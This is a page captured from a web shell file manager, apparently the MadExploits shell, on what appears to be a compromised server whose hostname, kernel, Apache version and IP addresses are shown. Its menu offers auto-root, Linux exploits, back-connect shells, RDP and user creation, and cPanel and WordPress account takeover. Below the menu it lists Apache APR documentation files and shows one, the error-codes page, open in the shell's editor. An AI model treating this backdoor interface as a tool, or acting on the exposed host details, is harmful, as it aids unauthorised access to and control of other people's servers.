Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apr-devel-1.6.2 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
search
[ DIR ]
drwxr-xr-x
annotated.html
10.39
KB
-rw-r--r--
apr_8h.html
67.47
KB
-rw-r--r--
apr_8h_source.html
104.97
KB
-rw-r--r--
apr__allocator_8h.html
15.51
KB
-rw-r--r--
apr__allocator_8h_source.html
43.65
KB
-rw-r--r--
apr__atomic_8h.html
10.77
KB
-rw-r--r--
apr__atomic_8h_source.html
31.57
KB
-rw-r--r--
apr__cstr_8h.html
13.38
KB
-rw-r--r--
apr__cstr_8h_source.html
59.29
KB
-rw-r--r--
apr__dso_8h.html
9.62
KB
-rw-r--r--
apr__dso_8h_source.html
23.62
KB
-rw-r--r--
apr__env_8h.html
7.77
KB
-rw-r--r--
apr__env_8h_source.html
18.3
KB
-rw-r--r--
apr__errno_8h.html
91.9
KB
-rw-r--r--
apr__errno_8h_source.html
245.56
KB
-rw-r--r--
apr__escape_8h.html
19.73
KB
-rw-r--r--
apr__escape_8h_source.html
84.97
KB
-rw-r--r--
apr__escape__test__char_8h_sou...
9.54
KB
-rw-r--r--
apr__file__info_8h.html
44.72
KB
-rw-r--r--
apr__file__info_8h_source.html
109.17
KB
-rw-r--r--
apr__file__io_8h.html
66.41
KB
-rw-r--r--
apr__file__io_8h_source.html
210.29
KB
-rw-r--r--
apr__fnmatch_8h.html
9.78
KB
-rw-r--r--
apr__fnmatch_8h_source.html
32.69
KB
-rw-r--r--
apr__general_8h.html
12.88
KB
-rw-r--r--
apr__general_8h_source.html
47.17
KB
-rw-r--r--
apr__getopt_8h.html
10.13
KB
-rw-r--r--
apr__getopt_8h_source.html
42.44
KB
-rw-r--r--
apr__global__mutex_8h.html
13.54
KB
-rw-r--r--
apr__global__mutex_8h_source.h...
41.93
KB
-rw-r--r--
apr__hash_8h.html
18.87
KB
-rw-r--r--
apr__hash_8h_source.html
61.12
KB
-rw-r--r--
apr__inherit_8h.html
10.49
KB
-rw-r--r--
apr__inherit_8h_source.html
13.46
KB
-rw-r--r--
apr__lib_8h.html
15.84
KB
-rw-r--r--
apr__lib_8h_source.html
47.76
KB
-rw-r--r--
apr__mmap_8h.html
12.37
KB
-rw-r--r--
apr__mmap_8h_source.html
38.35
KB
-rw-r--r--
apr__network__io_8h.html
53.78
KB
-rw-r--r--
apr__network__io_8h_source.htm...
197.97
KB
-rw-r--r--
apr__perms__set_8h.html
8.35
KB
-rw-r--r--
apr__perms__set_8h_source.html
17.88
KB
-rw-r--r--
apr__poll_8h.html
26.86
KB
-rw-r--r--
apr__poll_8h_source.html
103.48
KB
-rw-r--r--
apr__pools_8h.html
33.73
KB
-rw-r--r--
apr__pools_8h_source.html
155.74
KB
-rw-r--r--
apr__portable_8h.html
35.47
KB
-rw-r--r--
apr__portable_8h_source.html
130.87
KB
-rw-r--r--
apr__proc__mutex_8h.html
15.72
KB
-rw-r--r--
apr__proc__mutex_8h_source.htm...
45.04
KB
-rw-r--r--
apr__random_8h.html
14.78
KB
-rw-r--r--
apr__random_8h_source.html
35.38
KB
-rw-r--r--
apr__ring_8h.html
18.56
KB
-rw-r--r--
apr__ring_8h_source.html
86.27
KB
-rw-r--r--
apr__shm_8h.html
14.65
KB
-rw-r--r--
apr__shm_8h_source.html
49.04
KB
-rw-r--r--
apr__signal_8h.html
9.03
KB
-rw-r--r--
apr__signal_8h_source.html
25.44
KB
-rw-r--r--
apr__skiplist_8h.html
27.09
KB
-rw-r--r--
apr__skiplist_8h_source.html
86.24
KB
-rw-r--r--
apr__strings_8h.html
16.97
KB
-rw-r--r--
apr__strings_8h_source.html
76.93
KB
-rw-r--r--
apr__support_8h.html
6.8
KB
-rw-r--r--
apr__support_8h_source.html
15.74
KB
-rw-r--r--
apr__tables_8h.html
27.8
KB
-rw-r--r--
apr__tables_8h_source.html
106.98
KB
-rw-r--r--
apr__thread__cond_8h.html
11.62
KB
-rw-r--r--
apr__thread__cond_8h_source.ht...
34.18
KB
-rw-r--r--
apr__thread__mutex_8h.html
11.94
KB
-rw-r--r--
apr__thread__mutex_8h_source.h...
28
KB
-rw-r--r--
apr__thread__proc_8h.html
58.08
KB
-rw-r--r--
apr__thread__proc_8h_source.ht...
193.39
KB
-rw-r--r--
apr__thread__rwlock_8h.html
11.75
KB
-rw-r--r--
apr__thread__rwlock_8h_source....
31.75
KB
-rw-r--r--
apr__time_8h.html
21.87
KB
-rw-r--r--
apr__time_8h_source.html
56.45
KB
-rw-r--r--
apr__user_8h.html
12.61
KB
-rw-r--r--
apr__user_8h_source.html
36.29
KB
-rw-r--r--
apr__version_8h.html
24.02
KB
-rw-r--r--
apr__version_8h_source.html
34.22
KB
-rw-r--r--
apr__want_8h.html
6.36
KB
-rw-r--r--
apr__want_8h_source.html
23
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
bug.html
9.25
KB
-rw-r--r--
classes.html
8.08
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
deprecated.html
11.51
KB
-rw-r--r--
dir_47ab2aa5b94fb8f65103c173b2...
5.55
KB
-rw-r--r--
dir_4bd6cd521a56a9f4d924ab2d33...
5.61
KB
-rw-r--r--
dir_a4fd7f16abbe32b73833244217...
5.52
KB
-rw-r--r--
dir_d44c64559bbebec7f509842c48...
24.09
KB
-rw-r--r--
doxygen.css
23.29
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
files.html
18.53
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
453
B
-rw-r--r--
ftv2doc.png
746
B
-rw-r--r--
ftv2folderclosed.png
616
B
-rw-r--r--
ftv2folderopen.png
597
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
746
B
-rw-r--r--
ftv2mlastnode.png
246
B
-rw-r--r--
ftv2mnode.png
246
B
-rw-r--r--
ftv2mo.png
403
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
388
B
-rw-r--r--
ftv2plastnode.png
229
B
-rw-r--r--
ftv2pnode.png
229
B
-rw-r--r--
ftv2splitbar.png
314
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
functions.html
20.74
KB
-rw-r--r--
functions_func.html
5.54
KB
-rw-r--r--
functions_vars.html
20.5
KB
-rw-r--r--
globals.html
151.85
KB
-rw-r--r--
globals_0x68.html
6.1
KB
-rw-r--r--
globals_defs.html
63.58
KB
-rw-r--r--
globals_defs_0x68.html
5.97
KB
-rw-r--r--
globals_enum.html
6.87
KB
-rw-r--r--
globals_eval.html
13.12
KB
-rw-r--r--
globals_func.html
75.26
KB
-rw-r--r--
globals_type.html
15.52
KB
-rw-r--r--
globals_vars.html
5.81
KB
-rw-r--r--
group___a_p_r.html
15.92
KB
-rw-r--r--
group___a_p_r___e_r_r_o_r__map...
5.87
KB
-rw-r--r--
group___a_p_r___error.html
87.84
KB
-rw-r--r--
group___a_p_r___global_mutex.h...
25.64
KB
-rw-r--r--
group___a_p_r___o_c.html
9.98
KB
-rw-r--r--
group___a_p_r___s_t_a_t_u_s___...
92.26
KB
-rw-r--r--
group___a_p_r___strings___snpr...
10.31
KB
-rw-r--r--
group___a_p_r___util___escapin...
64.2
KB
-rw-r--r--
group___i_p___proto.html
7.51
KB
-rw-r--r--
group___pool_cleanup.html
20.99
KB
-rw-r--r--
group___pool_debug.html
13.43
KB
-rw-r--r--
group__apr__allocator.html
26.47
KB
-rw-r--r--
group__apr__atomic.html
21.28
KB
-rw-r--r--
group__apr__cstr.html
34.38
KB
-rw-r--r--
group__apr__ctype.html
18.55
KB
-rw-r--r--
group__apr__dir.html
13.04
KB
-rw-r--r--
group__apr__dso.html
15.21
KB
-rw-r--r--
group__apr__env.html
11.25
KB
-rw-r--r--
group__apr__errno.html
35.19
KB
-rw-r--r--
group__apr__file__attrs__set__...
7.6
KB
-rw-r--r--
group__apr__file__info.html
14
KB
-rw-r--r--
group__apr__file__io.html
153.63
KB
-rw-r--r--
group__apr__file__lock__types....
8.56
KB
-rw-r--r--
group__apr__file__open__flags....
36.62
KB
-rw-r--r--
group__apr__file__permissions....
32.42
KB
-rw-r--r--
group__apr__file__seek__flags....
7.5
KB
-rw-r--r--
group__apr__file__stat.html
27.14
KB
-rw-r--r--
group__apr__file__writev.html
6.11
KB
-rw-r--r--
group__apr__filepath.html
31.09
KB
-rw-r--r--
group__apr__fnmatch.html
16.85
KB
-rw-r--r--
group__apr__general.html
14.97
KB
-rw-r--r--
group__apr__getopt.html
18.95
KB
-rw-r--r--
group__apr__hash.html
47.1
KB
-rw-r--r--
group__apr__lib.html
18.73
KB
-rw-r--r--
group__apr__library.html
11.81
KB
-rw-r--r--
group__apr__mcast.html
16.63
KB
-rw-r--r--
group__apr__mmap.html
20.44
KB
-rw-r--r--
group__apr__network__io.html
119.24
KB
-rw-r--r--
group__apr__os__dso.html
9.76
KB
-rw-r--r--
group__apr__os__thread.html
17.1
KB
-rw-r--r--
group__apr__perms__set.html
11.33
KB
-rw-r--r--
group__apr__platform.html
71.68
KB
-rw-r--r--
group__apr__poll.html
64.65
KB
-rw-r--r--
group__apr__pools.html
75
KB
-rw-r--r--
group__apr__portabile.html
68.28
KB
-rw-r--r--
group__apr__proc__mutex.html
30.89
KB
-rw-r--r--
group__apr__random.html
28.05
KB
-rw-r--r--
group__apr__ring.html
81.88
KB
-rw-r--r--
group__apr__shm.html
33.96
KB
-rw-r--r--
group__apr__signal.html
12.75
KB
-rw-r--r--
group__apr__skiplist.html
72.52
KB
-rw-r--r--
group__apr__sockopt.html
18.61
KB
-rw-r--r--
group__apr__strings.html
47.11
KB
-rw-r--r--
group__apr__support.html
7.74
KB
-rw-r--r--
group__apr__tables.html
78.7
KB
-rw-r--r--
group__apr__thread__cond.html
21.02
KB
-rw-r--r--
group__apr__thread__mutex.html
19.5
KB
-rw-r--r--
group__apr__thread__proc.html
152.06
KB
-rw-r--r--
group__apr__thread__rwlock.htm...
20.79
KB
-rw-r--r--
group__apr__time.html
45.58
KB
-rw-r--r--
group__apr__user.html
25.95
KB
-rw-r--r--
group__pollflags.html
8.67
KB
-rw-r--r--
group__pollopts.html
9.6
KB
-rw-r--r--
index.html
4.91
KB
-rw-r--r--
jquery.js
102.24
KB
-rw-r--r--
modules.html
24.46
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
108
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
pages.html
5.44
KB
-rw-r--r--
sha2_8h_source.html
14.99
KB
-rw-r--r--
struct___s_h_a256___c_t_x.html
6.69
KB
-rw-r--r--
structapr__array__header__t.ht...
9.69
KB
-rw-r--r--
structapr__crypto__hash__t.htm...
7.51
KB
-rw-r--r--
structapr__finfo__t.html
19.84
KB
-rw-r--r--
structapr__getopt__option__t.h...
8.91
KB
-rw-r--r--
structapr__getopt__t.html
14.62
KB
-rw-r--r--
structapr__hdtr__t.html
8.85
KB
-rw-r--r--
structapr__memnode__t.html
11.06
KB
-rw-r--r--
structapr__mmap__t.html
9.86
KB
-rw-r--r--
structapr__os__proc__mutex__t....
8.97
KB
-rw-r--r--
structapr__os__sock__info__t.h...
10.52
KB
-rw-r--r--
structapr__pollfd__t.html
10.58
KB
-rw-r--r--
structapr__proc__t.html
11.36
KB
-rw-r--r--
structapr__sockaddr__t.html
17.18
KB
-rw-r--r--
structapr__table__entry__t.htm...
8.16
KB
-rw-r--r--
structapr__time__exp__t.html
13.73
KB
-rw-r--r--
structapr__version__t.html
8.61
KB
-rw-r--r--
structapr__vformatter__buff__t...
7.43
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
unionapr__descriptor.html
7.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : group__apr__errno.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>Apache Portable Runtime: Error Codes</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Apache Portable Runtime </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data Structures</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark"> </span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(10)"><span class="SelectionMark"> </span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="summary"> <a href="#groups">Modules</a> | <a href="#define-members">Macros</a> | <a href="#typedef-members">Typedefs</a> | <a href="#func-members">Functions</a> </div> <div class="headertitle"> <div class="title">Error Codes<div class="ingroups"><a class="el" href="group___a_p_r.html">Apache Portability Runtime library</a></div></div> </div> </div><!--header--> <div class="contents"> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="groups"></a> Modules</h2></td></tr> <tr class="memitem:group___a_p_r___e_r_r_o_r__map"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___e_r_r_o_r__map.html">APR Error Space</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:group___a_p_r___error"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___error.html">APR Error Values</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:group___a_p_r___s_t_a_t_u_s___i_s"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___s_t_a_t_u_s___i_s.html">Status Value Tests</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2"> </td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="define-members"></a> Macros</h2></td></tr> <tr class="memitem:ga2096daff578ef301e060b80c7a4525bf"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga2096daff578ef301e060b80c7a4525bf">APR_FROM_OS_ERROR</a>(e)   (e == 0 ? <a class="el" href="group__apr__errno.html#ga9ee311b7bf1c691dc521d721339ee2a6">APR_SUCCESS</a> : e + <a class="el" href="group__apr__errno.html#gad70a5cad6862a9abcc254d35e827ac8b">APR_OS_START_SYSERR</a>)</td></tr> <tr class="separator:ga2096daff578ef301e060b80c7a4525bf"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga2096daff578ef301e060b80c7a4525bf"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga2096daff578ef301e060b80c7a4525bf">APR_FROM_OS_ERROR</a>(e)   (e)</td></tr> <tr class="separator:ga2096daff578ef301e060b80c7a4525bf"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga2385cae04b04afbdcb65f1a45c4d8506"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga2385cae04b04afbdcb65f1a45c4d8506">APR_TO_OS_ERROR</a>(e)   (e == 0 ? <a class="el" href="group__apr__errno.html#ga9ee311b7bf1c691dc521d721339ee2a6">APR_SUCCESS</a> : e - <a class="el" href="group__apr__errno.html#gad70a5cad6862a9abcc254d35e827ac8b">APR_OS_START_SYSERR</a>)</td></tr> <tr class="separator:ga2385cae04b04afbdcb65f1a45c4d8506"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga2385cae04b04afbdcb65f1a45c4d8506"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga2385cae04b04afbdcb65f1a45c4d8506">APR_TO_OS_ERROR</a>(e)   (e)</td></tr> <tr class="separator:ga2385cae04b04afbdcb65f1a45c4d8506"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaa76e122da00af0ce2e8c8d7ff538bdfa"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gaa76e122da00af0ce2e8c8d7ff538bdfa">apr_get_os_error</a>()   (errno)</td></tr> <tr class="separator:gaa76e122da00af0ce2e8c8d7ff538bdfa"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga9a2d9a03ad314b03a142574be6d7d8a7"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga9a2d9a03ad314b03a142574be6d7d8a7">apr_set_os_error</a>(e)   (errno = (e))</td></tr> <tr class="separator:ga9a2d9a03ad314b03a142574be6d7d8a7"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga66e54f155b4a80ac7df9118af9bd896a"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga66e54f155b4a80ac7df9118af9bd896a">apr_get_netos_error</a>()   (errno)</td></tr> <tr class="separator:ga66e54f155b4a80ac7df9118af9bd896a"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaafc38481621653ece6f592f9c5a9a09b"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gaafc38481621653ece6f592f9c5a9a09b">apr_set_netos_error</a>(e)   (errno = (e))</td></tr> <tr class="separator:gaafc38481621653ece6f592f9c5a9a09b"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga191894048b7bd0cca3cf0bdff1eb695b"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga191894048b7bd0cca3cf0bdff1eb695b">APR_OS_START_ERROR</a>   20000</td></tr> <tr class="separator:ga191894048b7bd0cca3cf0bdff1eb695b"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gadb8d97e6836ccdc57b43b6119a5acccf"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>   50000</td></tr> <tr class="separator:gadb8d97e6836ccdc57b43b6119a5acccf"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaef5e79630739f24d1512d0d044c2bae7"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gaef5e79630739f24d1512d0d044c2bae7">APR_UTIL_ERRSPACE_SIZE</a>   20000</td></tr> <tr class="separator:gaef5e79630739f24d1512d0d044c2bae7"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga450e1a5734732e092ddaa5b67414f69b"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga450e1a5734732e092ddaa5b67414f69b">APR_OS_START_STATUS</a>   (<a class="el" href="group__apr__errno.html#ga191894048b7bd0cca3cf0bdff1eb695b">APR_OS_START_ERROR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td></tr> <tr class="separator:ga450e1a5734732e092ddaa5b67414f69b"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gadf26297a72afa0ea224e7097fe59a1cd"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gadf26297a72afa0ea224e7097fe59a1cd">APR_UTIL_START_STATUS</a></td></tr> <tr class="separator:gadf26297a72afa0ea224e7097fe59a1cd"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gacd35b2de1e38a1fa4717e38d5e153571"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gacd35b2de1e38a1fa4717e38d5e153571">APR_OS_START_USERERR</a>   (<a class="el" href="group__apr__errno.html#ga450e1a5734732e092ddaa5b67414f69b">APR_OS_START_STATUS</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td></tr> <tr class="separator:gacd35b2de1e38a1fa4717e38d5e153571"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga803b8badf8695bdfa4fbcf4d330371f0"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga803b8badf8695bdfa4fbcf4d330371f0">APR_OS_START_USEERR</a>   <a class="el" href="group__apr__errno.html#gacd35b2de1e38a1fa4717e38d5e153571">APR_OS_START_USERERR</a></td></tr> <tr class="separator:ga803b8badf8695bdfa4fbcf4d330371f0"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga7bca957c11b80b31cb54b0d2cbe9e025"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga7bca957c11b80b31cb54b0d2cbe9e025">APR_OS_START_CANONERR</a></td></tr> <tr class="separator:ga7bca957c11b80b31cb54b0d2cbe9e025"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga2d04991cb57c67a896e22125a1f22b49"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga2d04991cb57c67a896e22125a1f22b49">APR_OS_START_EAIERR</a>   (<a class="el" href="group__apr__errno.html#ga7bca957c11b80b31cb54b0d2cbe9e025">APR_OS_START_CANONERR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td></tr> <tr class="separator:ga2d04991cb57c67a896e22125a1f22b49"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gad70a5cad6862a9abcc254d35e827ac8b"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gad70a5cad6862a9abcc254d35e827ac8b">APR_OS_START_SYSERR</a>   (<a class="el" href="group__apr__errno.html#ga2d04991cb57c67a896e22125a1f22b49">APR_OS_START_EAIERR</a> + <a class="el" href="group__apr__errno.html#gadb8d97e6836ccdc57b43b6119a5acccf">APR_OS_ERRSPACE_SIZE</a>)</td></tr> <tr class="separator:gad70a5cad6862a9abcc254d35e827ac8b"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga9ee311b7bf1c691dc521d721339ee2a6"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#ga9ee311b7bf1c691dc521d721339ee2a6">APR_SUCCESS</a>   0</td></tr> <tr class="separator:ga9ee311b7bf1c691dc521d721339ee2a6"><td class="memSeparator" colspan="2"> </td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="typedef-members"></a> Typedefs</h2></td></tr> <tr class="memitem:gaf76ee4543247e9fb3f3546203e590a6c"><td class="memItemLeft" align="right" valign="top">typedef int </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a></td></tr> <tr class="separator:gaf76ee4543247e9fb3f3546203e590a6c"><td class="memSeparator" colspan="2"> </td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a> Functions</h2></td></tr> <tr class="memitem:gaf2edf92be162ab8fb1bbc6f22856a131"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__errno.html#gaf2edf92be162ab8fb1bbc6f22856a131">apr_strerror</a> (<a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> statcode, char *buf, apr_size_t bufsize)</td></tr> <tr class="separator:gaf2edf92be162ab8fb1bbc6f22856a131"><td class="memSeparator" colspan="2"> </td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <h2 class="groupheader">Macro Definition Documentation</h2> <a class="anchor" id="ga2096daff578ef301e060b80c7a4525bf"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FROM_OS_ERROR</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (e == 0 ? <a class="el" href="group__apr__errno.html#ga9ee311b7bf1c691dc521d721339ee2a6">APR_SUCCESS</a> : e + <a class="el" href="group__apr__errno.html#gad70a5cad6862a9abcc254d35e827ac8b">APR_OS_START_SYSERR</a>)</td> </tr> </table> </div><div class="memdoc"> <p>Fold a platform specific error into an apr_status_t code. </p> <dl class="section return"><dt>Returns</dt><dd>apr_status_t </dd></dl> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">e</td><td>The platform os error code. </td></tr> </table> </dd> </dl> <dl class="section warning"><dt>Warning</dt><dd>macro implementation; the syserr argument may be evaluated multiple times. </dd></dl> </div> </div> <a class="anchor" id="ga2096daff578ef301e060b80c7a4525bf"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define APR_FROM_OS_ERROR</td> <td>(</td> <td class="paramtype"> </td> <td class="paramname">e</td><td>)</td> <td>   (e)</td> </tr> </table> </div><div class="memdoc"> <p>Fold a platform specific error into an apr_status_t code. </p> <dl class="section return"><dt>Returns</dt><dd>apr_status_t </dd></dl> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td 